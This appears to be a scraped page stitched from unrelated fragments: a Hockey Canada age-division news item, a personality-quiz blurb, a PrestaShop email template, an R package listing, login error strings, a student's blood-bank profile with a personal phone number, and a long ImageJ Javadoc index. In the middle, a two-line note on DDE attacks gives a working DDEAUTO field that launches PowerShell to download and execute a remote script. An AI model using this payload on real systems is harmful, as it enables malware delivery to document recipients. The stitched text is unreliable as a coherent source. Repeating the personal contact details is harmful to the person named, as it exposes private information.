“It’s a transition to a more universal system,” said Mark Grambart, co-president of the Victoria Minor Hockey Association.
“It’s so that parents and kids new to hockey know exactly where they fit in. It makes the system easier to understand and is more transparent as we look to welcome new players to our sport to help it grow.”
Classifications such as Peewee or Bantam are traditional but mean little to people not familiar with youth hockey.
“There may be some people sad to see the historic names go, but I am not one of them,” said Grambart.
The change will be in effect across the country next season through all boys’ and girls’ programs under Hockey Canada’s purview, which encompasses pretty much all of youth hockey in Canada.
“We believe everyone should feel welcome in the game. In our ongoing effort to make hockey more inclusive, the members at annual meeting determined that the names of our age divisions will change,” said Michael Brind’Amour, chair of the Hockey Canada board of directors.
“Following a comprehensive review, we believe this change will simplify the system for families who may be new to the game.”


I am your typical Creator
I am creative and I use this to stand out from the crowd. I show my artistic side through music, fashion, acting, dancing or art.
I like talking about my feelings, but I sometimes find it hard to take critisism.
I am quite spontaneous and I prefer not to have too many rules.


DDE attacks resurface every now and again. Noisy popups, but still may garner a few clicks.
{ddeauto c:\\windows\\system32\\cmd.exe "/k powershell IEX(New-Object Net.WebClient).Downloadstring('[URL]' )" \* MERGEFORmAT}


Message from a {shop_name} customer
Customer e-mail address:
{email}
Customer message:
{message}
{shop_name}
powered by
PrestaShop™


In order to smoothly animate the transformation of polygons and paths, many aspects needs to be taken into account, such as differing number of control points, changing center of rotation, etc. The 'transformr' package provides an extensive framework for manipulating the shapes of polygons and paths and can be seen as the spatial brother to the 'tweenr' package.
| Version: | 0.1.1 |
| Imports: | Rcpp (≥ 0.12.15), tweenr, rlang, sf, lpSolve |
| LinkingTo: | Rcpp |
| Suggests: | magrittr |
| Published: | 2018-12-09 |
| Author: | Thomas Lin Pedersen [cre, aut] |
| Maintainer: | Thomas Lin Pedersen <thomasp85 at gmail.com> |
| BugReports: | https://github.com/thomasp85/transformr/issues |
| License: | MIT + file LICENSE |
| URL: | https://github.com/thomasp85/transformr |
| NeedsCompilation: | yes |
| SystemRequirements: | C++11 |
| Materials: | README |
| CRAN checks: | transformr results |
| Reference manual: | transformr.pdf |
| Package source: | transformr_0.1.1.tar.gz |
| Windows binaries: | r-devel: transformr_0.1.1.zip, r-release: transformr_0.1.1.zip, r-oldrel: transformr_0.1.1.zip |
| OS X binaries: | r-release: transformr_0.1.1.tgz, r-oldrel: transformr_0.1.1.tgz |
Please use the canonical form https://CRAN.R-project.org/package=transformr to link to this page.


TEMA
Something is wrong with the provided credentials. Username already in use, pick another one! Email already in use, have you already signed up? Something went wrong, try again later.
Something is wrong with the provided credentials.


Sanheen Sethi
Blood Group : AB+
Hello Guys ! My name is Sanheen Sethi. This is my Dream Project Blood Bank. This Organisation is all over in India , which helps people to not to go to difficulty for needed of the blood. I am a CS Student of Post Graduate Govt. College Sector - 11 Chandigarh , Punjab University. I created many projects but this is my favourite project which help other peoples.
:
<EMAIL_ADDRESS>:
+91-8360638685


- rand(int, int) - Method in class ij.plugin.filter.SaltAndPepper
-
- RANDOM - Static variable in interface ij.macro.MacroConstants
-
- RandomAccessStream - Class in ij.io
-
This class uses a memory cache to allow seeking within
an InputStream.
- RandomAccessStream(InputStream) - Constructor for class ij.io.RandomAccessStream
-
Constructs a RandomAccessStream from an InputStream.
- RandomAccessStream(RandomAccessFile) - Constructor for class ij.io.RandomAccessStream
-
Constructs a RandomAccessStream from an RandomAccessFile.
- rank(ImageProcessor, double, int) - Method in class ij.plugin.filter.RankFilters
-
Filters an image by any method except 'despecle' or 'remove outliers'.
- rank(ImageProcessor, double, int, int, float) - Method in class ij.plugin.filter.RankFilters
-
Filters an image by any method except 'despecle' (for 'despeckle', use 'median' and radius=1)
- rank(double[]) - Static method in class ij.util.Tools
-
Returns a sorted list of indices of the specified double array.
- rank(String[]) - Static method in class ij.util.Tools
-
Returns a sorted list of indices of the specified String array.
- RankFilters - Class in ij.plugin.filter
-
This plugin implements the Mean, Minimum, Maximum, Variance, Median, Open Maxima, Close Maxima,
Remove Outliers, Remove NaNs and Despeckle commands.
- RankFilters() - Constructor for class ij.plugin.filter.RankFilters
-
- RAW - Static variable in class ij.io.FileInfo
-
- RAW - Static variable in class ij.io.Opener
-
- Raw - Class in ij.plugin
-
This plugin implements the File/Import/Raw command.
- Raw() - Constructor for class ij.plugin.Raw
-
- RAW_INTEGRATED_DENSITY - Static variable in class ij.measure.ResultsTable
-
- rc2DFHT(float[], boolean, int) - Method in class ij.process.FHT
-
Performs a 2D FHT (Fast Hartley Transform).
- read() - Method in class ij.io.RandomAccessStream
-
- read(byte[], int, int) - Method in class ij.io.RandomAccessStream
-
- readDouble() - Method in class ij.io.RandomAccessStream
-
- readFloat() - Method in class ij.io.RandomAccessStream
-
- readFully(byte[]) - Method in class ij.io.RandomAccessStream
-
- readFully(byte[], int) - Method in class ij.io.RandomAccessStream
-
- readInt() - Method in class ij.io.RandomAccessStream
-
- readLong() - Method in class ij.io.RandomAccessStream
-
- readPixels(InputStream) - Method in class ij.io.ImageReader
-
Reads the image from the InputStream and returns the pixel
array (byte, short, int or float).
- readPixels(InputStream, long) - Method in class ij.io.ImageReader
-
Skips the specified number of bytes, then reads an image and
returns the pixel array (byte, short, int or float).
- readPixels(String) - Method in class ij.io.ImageReader
-
Reads the image from a URL and returns the pixel array (byte,
short, int or float).
- readShort() - Method in class ij.io.RandomAccessStream
-
- RecentOpener - Class in ij
-
Opens, in a separate thread, files selected from the File/Open Recent submenu.
- record - Static variable in class ij.plugin.frame.Recorder
-
This variable is true if the recorder is running.
- record(String) - Static method in class ij.plugin.frame.Recorder
-
- record(String, String) - Static method in class ij.plugin.frame.Recorder
-
- record(String, String, String) - Static method in class ij.plugin.frame.Recorder
-
- record(String, String, String, String) - Static method in class ij.plugin.frame.Recorder
-
- record(String, int) - Static method in class ij.plugin.frame.Recorder
-
- record(String, int, int) - Static method in class ij.plugin.frame.Recorder
-
- record(String, double, double) - Static method in class ij.plugin.frame.Recorder
-
- record(String, int, int, int) - Static method in class ij.plugin.frame.Recorder
-
- record(String, String, int) - Static method in class ij.plugin.frame.Recorder
-
- record(String, String, int, int) - Static method in class ij.plugin.frame.Recorder
-
- record(String, int, int, int, int) - Static method in class ij.plugin.frame.Recorder
-
- record(String, int, int, int, int, int) - Static method in class ij.plugin.frame.Recorder
-
- record(String, int, int, int, int, double) - Static method in class ij.plugin.frame.Recorder
-
- record(String, String, String, int, int, int, int, int) - Static method in class ij.plugin.frame.Recorder
-
- RECORD_STARTS - Static variable in class ij.plugin.filter.ParticleAnalyzer
-
Record starting coordinates so outline can be recreated later using doWand(x,y).
- recordCall(String) - Static method in class ij.plugin.frame.Recorder
-
- recordCall(String, String) - Static method in class ij.plugin.frame.Recorder
-
- Recorder - Class in ij.plugin.frame
-
This is ImageJ's macro recorder.
- Recorder() - Constructor for class ij.plugin.frame.Recorder
-
- Recorder(boolean) - Constructor for class ij.plugin.frame.Recorder
-
- recordInMacros - Static variable in class ij.plugin.frame.Recorder
-
Set this variable true to allow recording within IJ.run() calls.
- recordOption(String, String) - Static method in class ij.plugin.frame.Recorder
-
- recordOption(String) - Static method in class ij.plugin.frame.Recorder
-
- recordPath(String, String) - Static method in class ij.plugin.frame.Recorder
-
- recordRoi(Polygon, int) - Static method in class ij.plugin.frame.Recorder
-
- recordScriptRoi(Polygon, int) - Static method in class ij.plugin.frame.Recorder
-
- recordSetFont() - Static method in class ij.gui.TextRoi
-
- recordString(String) - Static method in class ij.plugin.frame.Recorder
-
- RECT - Static variable in interface ij.measure.Measurements
-
- RECTANGLE - Static variable in class ij.gui.Roi
-
- RECTANGLE - Static variable in class ij.gui.Toolbar
-
- RectToolOptions - Class in ij.plugin
-
This plugin implements the rounded rectangle tool dialog box.
- RectToolOptions() - Constructor for class ij.plugin.RectToolOptions
-
- red - Variable in class ij.plugin.filter.RGBStackSplitter
-
- RED_LUT - Static variable in class ij.process.ImageProcessor
-
- redirectErrorMessages() - Static method in class ij.IJ
-
Causes IJ.error() output to be temporarily redirected to the "Log" window.
- redirectErrorMessages(boolean) - Static method in class ij.IJ
-
Set 'true' and IJ.error() output will be temporarily redirected to the "Log" window.
- redirectingErrorMessages() - Static method in class ij.IJ
-
Returns the state of the 'redirectErrorMessages' flag, which is set by File/Import/Image Sequence.
- redirectSystem(boolean) - Static method in class ij.io.LogStream
-
Redirects all output sent to System.out
and System.err
to ImageJ's log console
using the default prefixes.
- redirectSystem() - Static method in class ij.io.LogStream
-
Redirects all output sent to System.out
and System.err
to ImageJ's log console
using the default prefixes.
- redirectSystemErr(String) - Static method in class ij.io.LogStream
-
Redirects all output sent to System.err
to ImageJ's log console.
- redirectSystemOut(String) - Static method in class ij.io.LogStream
-
Redirects all output sent to System.out
to ImageJ's log console.
- reds - Variable in class ij.io.FileInfo
-
- reduce(ImagePlus) - Method in class ij.plugin.HyperStackReducer
-
- reduceHyperstack(ImagePlus, int, boolean) - Method in class ij.plugin.StackReducer
-
- reduceStack(ImagePlus, int) - Method in class ij.plugin.StackReducer
-
- REFERENCE_BLACK_VALUE - Static variable in class craj.ReferenceCircle
-
- referenceCircle - Variable in class craj.CircleFinding
-
- ReferenceCircle - Class in craj
-
Represents the perfect circle which holds the maximum cross value and cross
count a circle with the same diameter could possibly have.
- ReferenceCircle(ReferenceCircle.ReferenceCircleParameters, boolean) - Constructor for class craj.ReferenceCircle
-
Construct a ReferenceCircle object with the given parameters
- ReferenceCircle.ReferenceCircleParameters - Class in craj
-
This class holds the parameter data for the ReferenceCircle
- ReferenceCircle.ReferenceCircleParameters(int, float, float, float) - Constructor for class craj.ReferenceCircle.ReferenceCircleParameters
-
Construct a ReferenceCircleParameters parameter object.
- ReferenceCircleDiameter3Test() - Method in class craj.test.InnerCircleLineBoundsTest
-
- ReferenceCircleDiameter5Test() - Method in class craj.test.InnerCircleLineBoundsTest
-
- ReferenceCircleDiameter7Test() - Method in class craj.test.InnerCircleLineBoundsTest
-
- ReferenceCircleDiameter9Test() - Method in class craj.test.InnerCircleLineBoundsTest
-
- referenceCircles - Variable in class craj.mapDigesterLocator.MapDigesterCircleFinder.MapDigesterCircleFinderParameter
-
- referenceCrossCount - Variable in class craj.ReferenceCircle
-
The cross count that was calculated for this perfect reference circle
- referenceCrossValue - Variable in class craj.ReferenceCircle
-
The cross value that was calculated for this perfect reference circle
- reflexAngle - Static variable in class ij.Prefs
-
Angle tool measures reflex angle
- register(Class) - Static method in class ij.IJ
-
Adds the specified class to a Vector to keep it from being garbage
collected, which would cause the classes static fields to be reset.
- register(Class) - Method in class ij.ImageJ
-
Adds the specified class to a Vector to keep it from being
garbage collected, causing static fields to be reset.
- registerExtensions(MacroExtension) - Static method in class ij.macro.Functions
-
- REINITIALIZATION_FAILURE - Static variable in class ij.measure.Minimizer
-
Status returned: Could not reinitialize the simplex because all attempts to find restarting
parameters resulted in the target function returning NaN.
- remove(int) - Method in class ij.gui.Overlay
-
Removes the Roi with the specified index from this Overlay.
- remove(Roi) - Method in class ij.gui.Overlay
-
Removes the specified Roi from this Overlay.
- REMOVE_NAN - Static variable in class ij.plugin.filter.RankFilters
-
- removeAdjustmentListener(AdjustmentListener) - Method in class ij.gui.ScrollbarWithLabel
-
- removeBatchModeImage(ImagePlus) - Static method in class ij.macro.Interpreter
-
- removeCommandListener(CommandListener) - Static method in class ij.Executer
-
Removes the specified command listener.
- removeEventListener(IJEventListener) - Static method in class ij.IJ
-
- removeImageListener(ImageListener) - Static method in class ij.ImagePlus
-
- removeKeyListener(KeyListener) - Method in class ij.gui.ScrollbarWithLabel
-
- removeLayoutComponent(Component) - Method in class ij.gui.ImageLayout
-
Not used by this class.
- removeMacroTools() - Static method in class ij.gui.Toolbar
-
- removeSplineFit() - Method in class ij.gui.PolygonRoi
-
- removeWindow(Window) - Static method in class ij.WindowManager
-
Removes the specified window from the Window menu.
- removeWindow(Frame) - Static method in class ij.WindowManager
-
Removes the specified Frame from the Window menu.
- RENAME - Static variable in interface ij.macro.MacroConstants
-
- rename(String) - Method in class ij.text.TextWindow
-
- renameResults(String) - Static method in class ij.IJ
-
Renames a results window.
- renameResults(String, String) - Static method in class ij.IJ
-
Changes the name of a results window from 'oldTitle' to 'newTitle'.
- repaintImageWindows() - Static method in class ij.WindowManager
-
Repaints all open image windows.
- repaintWindow() - Method in class ij.ImagePlus
-
Calls draw to draw the image and also repaints the
image window to force the information displayed above
the image (dimension, type, size) to be updated.
- REPLACE - Static variable in interface ij.macro.MacroConstants
-
- requireControlKey - Static variable in class ij.Prefs
-
Require control or command key for keybaord shortcuts.
- REQUIRES - Static variable in interface ij.macro.MacroConstants
-
- reset() - Method in class ij.CompositeImage
-
- RESET - Static variable in interface ij.macro.MacroConstants
-
- reset() - Method in class ij.measure.ResultsTable
-
- reset() - Method in class ij.process.ByteProcessor
-
Reset the image from snapshot.
- reset(ImageProcessor) - Method in class ij.process.ByteProcessor
-
Restore pixels that are within roi but not part of mask.
- reset() - Method in class ij.process.ColorProcessor
-
- reset(ImageProcessor) - Method in class ij.process.ColorProcessor
-
- reset() - Method in class ij.process.FloatProcessor
-
- reset(ImageProcessor) - Method in class ij.process.FloatProcessor
-
- reset() - Method in class ij.process.ImageProcessor
-
Restores the pixel data from the snapshot (undo) buffer.
- reset(ImageProcessor) - Method in class ij.process.ImageProcessor
-
Restores pixels from the snapshot buffer that are
within the rectangular roi but not part of the mask.
- reset() - Method in class ij.process.ShortProcessor
-
- reset(ImageProcessor) - Method in class ij.process.ShortProcessor
-
- reset() - Static method in class ij.Undo
-
- RESET_MIN_MAX - Static variable in interface ij.macro.MacroConstants
-
- RESET_THRESHOLD - Static variable in interface ij.macro.MacroConstants
-
- resetBinaryThreshold() - Method in class ij.process.ImageProcessor
-
Resets the threshold if minThreshold=maxThreshold and lutUpdateMode=NO_LUT_UPDATE.
- resetClassLoader() - Static method in class ij.IJ
-
- resetClipboard() - Static method in class ij.ImagePlus
-
Clears the internal clipboard.
- resetCounter() - Static method in class ij.plugin.filter.Analyzer
-
Sets the measurement counter to zero.
- resetDisplayRange() - Method in class ij.CompositeImage
-
- resetDisplayRange() - Method in class ij.ImagePlus
-
- resetDisplayRanges() - Method in class ij.CompositeImage
-
- resetDoubleBuffer() - Method in class ij.gui.ImageCanvas
-
- resetEscape() - Static method in class ij.IJ
-
This method sets the Esc
key to the "up" position.
- resetMinAndMax() - Static method in class ij.IJ
-
Resets the minimum and maximum displayed pixel values of the
current image to be the same as the min and max pixel values.
- resetMinAndMax(ImagePlus) - Static method in class ij.IJ
-
Resets the minimum and maximum displayed pixel values of the
specified image to be the same as the min and max pixel values.
- resetMinAndMax() - Method in class ij.process.ByteProcessor
-
Resets this image's LUT.
- resetMinAndMax() - Method in class ij.process.FloatProcessor
-
Recalculates the min and max values used to scale pixel
values to 0-255 for display.
- resetMinAndMax() - Method in class ij.process.ImageProcessor
-
For short and float images, recalculates the min and max
image values needed to correctly display the image.
- resetMinAndMax() - Method in class ij.process.ShortProcessor
-
Recalculates the min and max values used to scale pixel
values to 0-255 for display.
- resetOutOfRoi(ImageProcessor, int) - Static method in class ij.plugin.filter.GaussianBlur
-
Set the processed pixels above and below the roi rectangle back to their
previous value (i.e., snapshot buffer).
- resetPreferences() - Static method in class ij.Prefs
-
Delete the preferences file when ImageJ quits.
- resetRoi() - Method in class ij.process.ImageProcessor
-
Sets the ROI (Region of Interest) and clipping rectangle to the entire image.
- resetSelection() - Method in class ij.text.TextPanel
-
Clears the selection, if any.
- resetStack() - Method in class ij.ImagePlus
-
- resetThreshold() - Static method in class ij.IJ
-
Disables thresholding on the current image.
- resetThreshold(ImagePlus) - Static method in class ij.IJ
-
Disables thresholding on the specified image.
- resetThreshold() - Method in class ij.process.ImageProcessor
-
Disables thresholding.
- resize(int, int) - Method in class ij.process.ByteProcessor
-
Creates a new ByteProcessor containing a scaled copy of this image or selection.
- resize(int, int) - Method in class ij.process.ColorProcessor
-
Creates a new ColorProcessor containing a scaled copy of this image or
selection.
- resize(int, int) - Method in class ij.process.FloatProcessor
-
Creates a new FloatProcessor containing a scaled copy of this image or selection.
- resize(int, int) - Method in class ij.process.ImageProcessor
-
Creates a new ImageProcessor containing a scaled copy of this image or ROI.
- resize(int) - Method in class ij.process.ImageProcessor
-
Creates a new ImageProcessor containing a scaled copy
of this image or ROI, with the aspect ratio maintained.
- resize(int, int, boolean) - Method in class ij.process.ImageProcessor
-
Creates a new ImageProcessor containing a scaled copy of this image or ROI.
- resize(int, int) - Method in class ij.process.ShortProcessor
-
Creates a new ShortProcessor containing a scaled copy of this image or selection.
- resize(int, int) - Method in class ij.process.StackProcessor
-
Creates a new stack with dimensions 'newWidth' x 'newHeight'.
- resize(int, int, boolean) - Method in class ij.process.StackProcessor
-
- Resizer - Class in ij.plugin.filter
-
Deprecated.
replaced by ij.plugin.Resizer
- Resizer() - Constructor for class ij.plugin.filter.Resizer
-
Deprecated.
- Resizer - Class in ij.plugin
-
This plugin implements the Edit/Crop and Image/Adjust/Size commands.
- Resizer() - Constructor for class ij.plugin.Resizer
-
- RESIZING - Static variable in class ij.gui.Roi
-
- reslice(ImagePlus) - Method in class ij.plugin.Slicer
-
- RESOLUTION_UNIT - Static variable in class ij.io.TiffDecoder
-
- RESTORE_PREVIOUS_TOOL - Static variable in interface ij.macro.MacroConstants
-
- RESTORE_SETTINGS - Static variable in interface ij.macro.MacroConstants
-
- restorePreviousTool() - Method in class ij.gui.Toolbar
-
- restoreRoi() - Method in class ij.ImagePlus
-
- restoreTools() - Static method in class ij.gui.Toolbar
-
- ResultsSorter - Class in ij.plugin
-
This plugin implements the Results Table's Sort command.
- ResultsSorter() - Constructor for class ij.plugin.ResultsSorter
-
- ResultsTable - Class in ij.measure
-
This is a table for storing measurement results and strings as columns of values.
- ResultsTable() - Constructor for class ij.measure.ResultsTable
-
Constructs an empty ResultsTable with the counter=0, no columns
and the precision set to 3 or the "Decimal places" value in
Analyze/Set Measurements if that value is higher than 3.
- RETURN - Static variable in interface ij.macro.MacroConstants
-
- revert() - Method in class ij.ImagePlus
-
Implements the File/Revert command.
- revertSystem() - Static method in class ij.io.LogStream
-
Use this method to revert both System.out
and System.err
to their original output streams.
- revertSystemErr() - Static method in class ij.io.LogStream
-
Use this method to revertSystem.err
to the original output stream.
- revertSystemOut() - Static method in class ij.io.LogStream
-
Use this method to revertSystem.out
to the original output stream.
- revertToSaved(ImagePlus) - Method in class ij.io.FileOpener
-
Restores the original version of the specified image.
- RGB - Static variable in class ij.gui.NewImage
-
- RGB - Static variable in class ij.io.FileInfo
-
24-bit interleaved RGB.
- rgb - Variable in class ij.process.FHT
-
Used by the FFT class.
- RGB48 - Static variable in class ij.io.FileInfo
-
48-bit interleaved RGB.
- RGB48_PLANAR - Static variable in class ij.io.FileInfo
-
48-bit planar RGB.
- RGB_DILATE - Static variable in class ij.process.ColorProcessor
-
- RGB_ERODE - Static variable in class ij.process.ColorProcessor
-
- RGB_FIND_EDGES - Static variable in class ij.process.ColorProcessor
-
- RGB_MEDIAN - Static variable in class ij.process.ColorProcessor
-
- RGB_NOISE - Static variable in class ij.process.ColorProcessor
-
- RGB_PLANAR - Static variable in class ij.io.FileInfo
-
24-bit planer RGB.
- RGB_RESIZE - Static variable in class ij.process.ColorProcessor
-
- RGB_ROTATE - Static variable in class ij.process.ColorProcessor
-
- RGB_SCALE - Static variable in class ij.process.ColorProcessor
-
- RGB_THRESHOLD - Static variable in class ij.process.ColorProcessor
-
- RGB_TRANSLATE - Static variable in class ij.process.ColorProcessor
-
- RGBStackConverter - Class in ij.plugin
-
Converts a 2 or 3 slice stack, or a hyperstack, to RGB.
- RGBStackConverter() - Constructor for class ij.plugin.RGBStackConverter
-
- RGBStackMerge - Class in ij.plugin
-
This plugin implements the Image/Color/Merge Channels command.
- RGBStackMerge() - Constructor for class ij.plugin.RGBStackMerge
-
- RGBStackSplitter - Class in ij.plugin.filter
-
Deprecated; replaced by ij.plugin.ChannelSplitter.
- RGBStackSplitter() - Constructor for class ij.plugin.filter.RGBStackSplitter
-
- RGBtoLab() - Static method in class ij.plugin.frame.ColorThresholder
-
Converts the current image from RGB to CIE L*a*b* and stores the results
in the same RGB image R=L*, G=a*, B=b*.
- RGBtoYUV() - Static method in class ij.plugin.frame.ColorThresholder
-
Converts the current image from RGB to YUV and stores
the results in the same RGB image R=Y, G=U, B=V.
- RIGHT - Static variable in class ij.gui.Plot
-
Text justification.
- RIGHT - Static variable in class ij.gui.TextRoi
-
- RIGHT - Static variable in class ij.io.RoiDecoder
-
- RIGHT_JUSTIFY - Static variable in class ij.process.ImageProcessor
-
Right justify text.
- RIGHT_MARGIN - Static variable in class ij.gui.Plot
-
the margin width right of the plot frame
- RODBARD - Static variable in class ij.measure.Calibration
-
- RODBARD - Static variable in class ij.measure.CurveFitter
-
Constants for the built-in fit functions
- RODBARD2 - Static variable in class ij.measure.Calibration
-
- RODBARD2 - Static variable in class ij.measure.CurveFitter
-
Constants for the built-in fit functions
- Roi - Class in ij.gui
-
A rectangular region of interest and superclass for the other ROI classes.
- Roi(int, int, int, int) - Constructor for class ij.gui.Roi
-
Creates a rectangular ROI.
- Roi(double, double, double, double) - Constructor for class ij.gui.Roi
-
Creates a rectangular ROI using double arguments.
- Roi(int, int, int, int, int) - Constructor for class ij.gui.Roi
-
Creates a new rounded rectangular ROI.
- Roi(double, double, double, double, int) - Constructor for class ij.gui.Roi
-
Creates a rounded rectangular ROI using double arguments.
- Roi(Rectangle) - Constructor for class ij.gui.Roi
-
Creates a new rectangular Roi.
- Roi(int, int, ImagePlus) - Constructor for class ij.gui.Roi
-
Starts the process of creating a user-defined rectangular Roi,
where sx and sy are the starting screen coordinates.
- Roi(int, int, ImagePlus, int) - Constructor for class ij.gui.Roi
-
Starts the process of creating a user-defined rectangular Roi,
where sx and sy are the starting screen coordinates.
- Roi(int, int, int, int, ImagePlus) - Constructor for class ij.gui.Roi
-
Deprecated.
- roi - Variable in class ij.io.FileInfo
-
- ROI - Static variable in class ij.io.Opener
-
- ROI - Static variable in class ij.Undo
-
- ROI_HEIGHT - Static variable in class ij.measure.ResultsTable
-
- ROI_MANAGER - Static variable in interface ij.macro.MacroConstants
-
- ROI_REQUIRED - Static variable in interface ij.plugin.filter.PlugInFilter
-
Set this flag if the filter requires an ROI.
- ROI_WIDTH - Static variable in class ij.measure.ResultsTable
-
- ROI_X - Static variable in class ij.measure.ResultsTable
-
- ROI_Y - Static variable in class ij.measure.ResultsTable
-
- ROICOLOR - Static variable in class ij.Prefs
-
- RoiDecoder - Class in ij.io
-
Decodes an ImageJ, NIH Image or Scion Image ROI file.
- RoiDecoder(String) - Constructor for class ij.io.RoiDecoder
-
Constructs an RoiDecoder using a file path.
- RoiDecoder(byte[], String) - Constructor for class ij.io.RoiDecoder
-
Constructs an RoiDecoder using a byte array.
- RoiEncoder - Class in ij.io
-
Saves an ROI to a file or stream.
- RoiEncoder(String) - Constructor for class ij.io.RoiEncoder
-
Creates an RoiEncoder using the specified path.
- RoiEncoder(OutputStream) - Constructor for class ij.io.RoiEncoder
-
Creates an RoiEncoder using the specified OutputStream.
- RoiEnlarger - Class in ij.plugin
-
This plugin, which enlarges or shrinks selections, implements the Edit/Selection/Enlarge command.
- RoiEnlarger() - Constructor for class ij.plugin.RoiEnlarger
-
- roiHeight - Variable in class ij.process.ImageStatistics
-
- RoiInterpolator - Class in ij.plugin
-
This class interpolates between ROIs in the ROI Manager.
- RoiInterpolator() - Constructor for class ij.plugin.RoiInterpolator
-
- RoiManager - Class in ij.plugin.frame
-
This plugin implements the Analyze/Tools/ROI Manager command.
- RoiManager() - Constructor for class ij.plugin.frame.RoiManager
-
- RoiManager(boolean) - Constructor for class ij.plugin.frame.RoiManager
-
- roiManagerSelect(Roi, boolean) - Method in class ij.gui.ImageCanvas
-
- RoiProperties - Class in ij.gui
-
Displays a dialog that allows the user to specify ROI properties such as color and line width.
- RoiProperties(String, Roi) - Constructor for class ij.gui.RoiProperties
-
Constructs a ColorChooser using the specified title and initial color.
- RoiReader - Class in ij.plugin
-
Opens ImageJ, NIH Image and Scion Image for windows ROI outlines.
- RoiReader() - Constructor for class ij.plugin.RoiReader
-
- RoiRotator - Class in ij.plugin
-
This plugin implements the Edit/Selection/Rotate command.
- RoiRotator() - Constructor for class ij.plugin.RoiRotator
-
- RoiScaler - Class in ij.plugin
-
This plugin implements the Edit/Selection/Scale command.
- RoiScaler() - Constructor for class ij.plugin.RoiScaler
-
- roiWidth - Variable in class ij.process.ImageStatistics
-
- RoiWriter - Class in ij.plugin.filter
-
Saves the current ROI outline to a file.
- RoiWriter() - Constructor for class ij.plugin.filter.RoiWriter
-
- roiX - Variable in class ij.process.ImageStatistics
-
- roiY - Variable in class ij.process.ImageStatistics
-
- rollingBallBackground(ImageProcessor, double, boolean, boolean, boolean, boolean, boolean) - Method in class ij.plugin.filter.BackgroundSubtracter
-
Create or subtract a background, works for all image types.
- rollingBallBrightnessBackground(ColorProcessor, double, boolean, boolean, boolean, boolean, boolean) - Method in class ij.plugin.filter.BackgroundSubtracter
-
Create or subtract a background, based on the brightness of an RGB image (keeping
the hue of each pixel unchanged)
- rotate(double) - Method in class ij.gui.ImageRoi
-
- rotate(Roi, double) - Static method in class ij.plugin.RoiRotator
-
- rotate(double) - Method in class ij.process.ByteProcessor
-
Rotates the image or ROI 'angle' degrees clockwise.
- rotate(double) - Method in class ij.process.ColorProcessor
-
Rotates the image or ROI 'angle' degrees clockwise.
- rotate(double) - Method in class ij.process.FloatProcessor
-
Rotates the image or ROI 'angle' degrees clockwise.
- rotate(double) - Method in class ij.process.ImageProcessor
-
Rotates the image or selection 'angle' degrees clockwise.
- rotate(double) - Method in class ij.process.ShortProcessor
-
Rotates the image or ROI 'angle' degrees clockwise.
- rotateLeft() - Method in class ij.process.ImageProcessor
-
Rotates the entire image 90 degrees counter-clockwise.
- rotateLeft() - Method in class ij.process.StackProcessor
-
- rotateLine(ImagePlus, int) - Method in class ij.plugin.Straightener
-
- rotateRight() - Method in class ij.process.ImageProcessor
-
Rotates the entire image 90 degrees clockwise.
- rotateRight() - Method in class ij.process.StackProcessor
-
- rotateYZ - Static variable in class ij.Prefs
-
Rotate YZ orthogonal views 90 degrees
- Rotator - Class in ij.plugin.filter
-
This plugin implements the Image/Rotate/Arbitrarily command.
- Rotator() - Constructor for class ij.plugin.filter.Rotator
-
- ROUND - Static variable in interface ij.macro.MacroConstants
-
- ROUNDED_RECT_ARC_SIZE - Static variable in class ij.io.RoiDecoder
-
- ROUNDNESS - Static variable in class ij.measure.ResultsTable
-
- rowIndex(int) - Method in class ij.text.TextPanel
-
Converts a y coordinate in pixels into a row index.
- ROWS_PER_STRIP - Static variable in class ij.io.TiffDecoder
-
- rowsPerStrip - Variable in class ij.io.FileInfo
-
- run(ImageProcessor) - Method in class craj.imagejplugin.MapDigesterLocatorPlugin
-
- run(ImageProcessor) - Method in class craj.imagejplugin.TestCircleFindingPlugin
-
- run() - Method in class craj.mapDigesterLocator.CircleFinderThread
-
- run() - Method in class ij.Executer
-
- run() - Method in class ij.gui.HistogramWindow
-
- run() - Method in class ij.gui.PlotWindow
-
- run() - Method in class ij.gui.StackWindow
-
- run(String) - Static method in class ij.IJ
-
Runs an ImageJ command.
- run(String, String) - Static method in class ij.IJ
-
Runs an ImageJ command, with options that are passed to the
GenericDialog and OpenDialog classes.
- run(ImagePlus, String, String) - Static method in class ij.IJ
-
Runs an ImageJ command using the specified image and options.
- run() - Method in class ij.ImageJ
-
Quit using a separate thread, hopefully avoiding thread deadlocks.
- RUN - Static variable in class ij.macro.Interpreter
-
- run(String) - Method in class ij.macro.Interpreter
-
Interprets the specified string.
- run(String, String) - Method in class ij.macro.Interpreter
-
Runs the specified macro, passing it a string
argument and returning a string value.
- run(Program) - Method in class ij.macro.Interpreter
-
Interprets the specified tokenized macro file starting at location 0.
- run(int) - Method in class ij.macro.Interpreter
-
Runs an existing macro starting at the specified program counter location.
- RUN - Static variable in interface ij.macro.MacroConstants
-
- run(Program, int, String) - Method in class ij.macro.MacroRunner
-
Runs a tokenized macro on the current thread.
- run() - Method in class ij.macro.MacroRunner
-
- run(String) - Method in class ij.plugin.AboutBox
-
- run(String) - Method in class ij.plugin.Animator
-
Set 'arg' to "set" to display a dialog that allows the user to specify the
animation speed.
- run(String) - Method in class ij.plugin.AppearanceOptions
-
- run(String) - Method in class ij.plugin.ArrowToolOptions
-
- run(String) - Method in class ij.plugin.AVI_Reader
-
The plugin is invoked by ImageJ using this method.
- run(String) - Method in class ij.plugin.BatchConverter
-
- run(String) - Method in class ij.plugin.BatchMeasure
-
- run(String) - Method in class ij.plugin.BatchProcessor
-
- run() - Method in class ij.plugin.BatchProcessor
-
- run(String) - Method in class ij.plugin.Binner
-
- run(String) - Method in class ij.plugin.BMP_Reader
-
- run(String) - Method in class ij.plugin.BMP_Writer
-
- run(String) - Method in class ij.plugin.BrowserLauncher
-
Opens the specified URL (default is the ImageJ home page).
- run(String) - Method in class ij.plugin.CanvasResizer
-
- run(String) - Method in class ij.plugin.ChannelArranger
-
- run(String) - Method in class ij.plugin.ChannelSplitter
-
- run(String) - Method in class ij.plugin.ClassChecker
-
- run(String) - Method in class ij.plugin.Clipboard
-
- run(String) - Method in class ij.plugin.Colors
-
- run(String) - Method in class ij.plugin.CommandFinder
-
- run(String) - Method in class ij.plugin.CommandLister
-
- run(String) - Method in class ij.plugin.Commands
-
- run(String) - Method in class ij.plugin.Compiler
-
- run(String) - Method in class ij.plugin.CompositeConverter
-
- run(String) - Method in class ij.plugin.Concatenator
-
Optional string argument sets the name dialog boxes if called from another plugin
- run() - Method in class ij.plugin.Concatenator
-
- run(String) - Method in class ij.plugin.ContrastEnhancer
-
- run(String) - Method in class ij.plugin.ControlPanel
-
